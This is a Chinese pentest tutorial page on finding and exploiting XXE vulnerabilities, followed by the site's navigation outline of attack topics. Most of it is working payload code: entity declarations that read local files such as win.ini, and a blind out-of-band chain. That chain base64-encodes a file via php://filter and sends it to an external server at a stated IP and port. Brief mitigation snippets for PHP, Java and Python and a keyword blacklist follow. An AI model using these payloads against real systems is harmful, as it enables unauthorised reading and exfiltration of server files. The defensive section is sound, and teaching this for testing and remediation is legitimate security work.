## 寻找与利用xxe漏洞
### 如何找xxe漏洞:
1. 抓包看accept头是否接受xml
如果是,使用payload验证是否可以攻击
2. 抓包看accept头是否接受json
如果是,把json改成xml,后用payload测试
一般 xxe 利用分为两大场景:有回显和无回显。
有回显的情况可以直接在页面中看到Payload 的执行结果或现象,
无回显的情况又称为`blind xxe`,可以使用外带数据通道提取数据。
### 有回显xxe
```xml
# 使用通用实体读取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>
# 使用参数实体读取本地文件的payload
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evils.dtd" >
%xxe;
]>
<foo>&evil;</foo>
##外部 evils.dtd 中的内容。
<!ENTITY evil SYSTEM "file:///c:/windows/win.ini" >
```
### 无回显xxe
可以使用外带数据通道提取数据,先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器
```xml
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
##外部 test.dtd 中的内容。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/1.txt">
<!ENTITY % int " <!ENTITY % send SYSTEM 'http://192.168.0.105:8080?p=%file; '>">
```
整个调用过程
1. 连续调用了三个参数实体`%remote;%int;%send;`,这就是我们的利用顺序,
2. 先调用`%remote` ,调用后请求远程服务器上的 test.dtd(类似于将 test.dtd 包含进来)
3. 再调用`%int`,int会调用test.dtd中的`%file`,会去获取服务器上面的敏感文件,并将结果进行base64编码
4. 后调用`%send`将结果,以url参数的形式发送结果到指定服务器,(实体的值中不能有%, 所以将其转成 html实体编码`%`)
编码可参考:http://www.mamicode.com/info-detail-1680849.html
最后,怎么查看最终数据
1. 有报错直接查看报错信息
2. 无报错需要访问接受数据的服务器中的日志信息
可以看到经过 base64 编码过的数据,解码后便可以得到数据。编码是为了不破坏原本的 XML 语法,不编码会报错
## XE漏洞修复与防御:
方案一:升级PHP版本
方案二:修改代码
```
#PHP:
libxml_disable_entity_loader(true);
#JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
setFeature("http://xml.org/sax/features/external-general-entities",false)
setFeature("http://xml.org/sax/features/external-parameter-entities",false);
#Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```
方案三:黑名单过滤关键词(不推荐)
```
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
```
- src导航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查询
- 备案信息查询
- 信用信息查询
- IP反查站点的站
- 浏览器插件
- 收集子域名信息
- 在线平台
- 工具枚举
- ssl与证书透明度
- DNS历史解析
- DNS域传送漏洞
- C段探测
- JS文件域名&ip探测
- 搜索引擎&情报社区
- google黑客
- 威胁情报
- 钟馗之眼
- 收集相关应用信息
- 微信公众号&微博
- APP收集&反编译
- 收集常用端口信息
- 常见端口&解析&总结
- 扫描工具
- 网络空间引擎搜索
- 浏览器插件
- nmap扫描
- 收集敏感信息
- 源码泄露
- 邮箱信息收集
- 备份文件泄露
- 目录&后台扫描
- 公网网盘
- 历史资产
- 指纹&WAF&CDN识别
- 指纹识别
- CDN识别
- 绕过CDN查找真实IP
- WAF识别
- 漏洞资源和社工
- 漏洞公共资源库
- 社会工程
- 资产梳理
- 各种对渗透有帮助的平台
- 扫描器
- 扫描器对比
- AppScan(IBM)_web和系统
- AWVS_web扫描
- X-Scan_系统扫描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_绿盟_web
- 安恒明鉴
- Nessus_系统
- nexpose_系统
- 启明天镜_web_系统
- SQL注入
- 常用函数
- sql注入步骤
- union注入和information_schema库
- 函数和报错注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解决方案
- Access数据库注入
- MSSQL数据库注入
- MYSQL数据库注入
- 神器SQLmap
- xss跨站脚本攻击
- xss原理和分类
- xss案例和修复
- xss绕过技巧
- xss案例
- 文件上传下载包含
- 常有用文件路径
- 文件上传漏洞
- 文件下载漏洞
- 文件包含漏洞
- upload-labs上传漏洞练习
- XXE、SSRF、CSRF
- SSRF原理基础
- SSRF案例实战
- CSRF原理基础
- CSRF案例及防范
- XXE之XML_DTD基础
- XXE之payload与修复
- XXE结合SSRF
- 远程命令执行与反序列化
- 远程命令和代码执行漏洞
- 反序列化漏洞
- 验证码与暴力破解
- 爆破与验证码原理
- CS架构暴力破解
- BS架构暴力破解
- WEB编辑器漏洞
- 编辑器漏洞基础
- Ewebeditor编辑器
- FCKeditor编辑器
- 其他编辑器
- web中间件漏洞
- 中间件解析漏洞
- Tomcat常见的漏洞总结
- Jboss漏洞利用总结
- Weblogic漏洞利用总结
- WEB具体步骤
- 旁注和越权
- CDN绕过
- 越权与逻辑漏洞
- WEB应用常见其他漏洞
- WEB登陆页面渗透思路
- 获取WEBshell思路
- 社工、钓鱼、apt
- 社工和信息收集
- 域名欺骗
- 钓鱼邮件
- 一些钓鱼用的挂马工具
- 代码审计
- 代码审计工具
- WAF绕过
- WAF基础及云WAF
- 各种WAF绕过方法
- 绕过WAF上传文件
- 系统提权
- windows系统提权
- linux系统提权
- 数据库提权操作系统
- 内网横向渗透
- 内网穿透方式
- 一些内网第三方应用提权
- ARP与DOS
- ARP欺骗
- DOS与DDOS
- 一些DOS工具